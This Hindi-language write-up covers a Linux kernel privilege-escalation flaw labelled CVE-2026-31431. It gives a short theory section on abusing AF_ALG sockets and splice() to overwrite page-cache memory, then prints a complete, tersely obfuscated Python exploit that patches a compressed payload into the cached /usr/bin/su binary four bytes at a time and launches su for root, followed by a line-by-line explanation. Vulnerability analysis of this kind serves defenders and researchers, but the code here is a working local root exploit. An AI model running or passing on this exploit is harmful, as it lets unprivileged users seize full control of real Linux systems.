CVE-2026-31431 कॉपी फेल एक्सप्लॉइट

भाग 1: सैद्धांतिक अवधारणा (CVE-2026-31431 कैसे काम करता है)

सिस्टम बार-बार फ़ाइलों को धीमी फ़िज़िकल हार्ड डिस्क से सीधे लाने के बजाय—जिसमें बहुत समय बर्बाद होता है—लिनक्स सिस्टम फ़ाइल की एक अस्थायी प्रति RAM के अंदर बना लेता है, जिसे Page Cache कहा जाता है। यह सिस्टम को फ़ाइल को लगभग तुरंत निष्पादित और पढ़ने की अनुमति देता है, पूरी तरह से RAM के भीतर।

यह प्रक्रिया दो प्रमुख फ़ंक्शन पर निर्भर करती है:

• AF_ALG: कर्नेल के अंदर फ़ाइलों और डेटा के लिए क्रिप्टो/एन्क्रिप्शन ऑपरेशन संभालने के लिए ज़िम्मेदार।

• splice(): डेटा को एक मेमोरी स्थान से दूसरे स्थान पर अत्यधिक उच्च गति (Zero-Copy) से सीधे स्थानांतरित करने के लिए ज़िम्मेदार।

एक्सप्लॉइट इन दोनों फ़ंक्शनों में हेरफेर करता है। जब सिस्टम मेमोरी में फ़ाइल को प्रोसेस और निष्पादित करने का प्रयास करता है, तो उसे इंजेक्ट किया गया पेलोड कोड मिलता है। चूँकि लिनक्स कर्नेल स्वयं मेमोरी प्रबंधन संभालता है, उसे कभी संदेह नहीं होता कि वहाँ कोई लॉजिक दोष या अवैध संशोधन हुआ है।

संक्षेप में: यह भेद्यता लक्ष्य फ़ाइल पर एन्क्रिप्शन/चेक को बायपास करने के लिए मेमोरी के साथ छेड़छाड़ करती है। फिर यह मेमोरी के अंदर विशिष्ट 4-बाइट निर्देशों को ओवरराइट करती है ताकि किसी भी विशेषाधिकार-रहित उपयोगकर्ता को तुरंत Root एक्सेस मिल जाए—पूरा ऑपरेशन सीधे कर्नेल द्वारा निष्पादित किया जाता है।

भाग 2: एक्सप्लॉइट कोड विश्लेषण

एक्सप्लॉइट कोड:

Python

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

पंक्ति-दर-पंक्ति विवरण:

1. e = zlib.decompress(d("78daab77..."))

   यह पंक्ति संपीड़ित हेक्स पेलोड को निकालती है। आप इस पेलोड को Root विशेषाधिकार प्रदान करने के लिए डिज़ाइन किया गया इंजेक्शन वेक्टर मान सकते हैं। यह हेक्स डेटा को रॉ बाइट्स में बदलता है ताकि पासवर्ड प्रमाणीकरण को बायपास करने के लिए इसे RAM में लिखा जा सके।

2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

   स्क्रिप्ट /usr/bin/su बाइनरी (उपयोगकर्ता विशेषाधिकार स्विचिंग के लिए ज़िम्मेदार निष्पादन योग्य) के लिए केवल-पठन हैंडल खोलती है। यह एक AF_ALG सॉकेट (AF_ALG ID = 38) सेट करती है और /usr/bin/su मेमोरी पेजों को सीधे कर्नेल के क्रिप्टो इंजन में स्ट्रीम करने के लिए splice() सिस्टम कॉल का उपयोग करती है।

3. कर्नेल मेमोरी ओवरराइट:

   कर्नेल के क्रिप्टो मॉड्यूल (algif_aead) में दोष के कारण, ऑपरेशन के दौरान कर्नेल को धोखा दिया जाता है। प्रोसेस किए गए आउटपुट को सामान्य अस्थायी बफर में लिखने के बजाय, यह पेलोड को सीधे RAM में संग्रहीत /usr/bin/su बाइनरी पेज (Page Cache) पर लिखता है।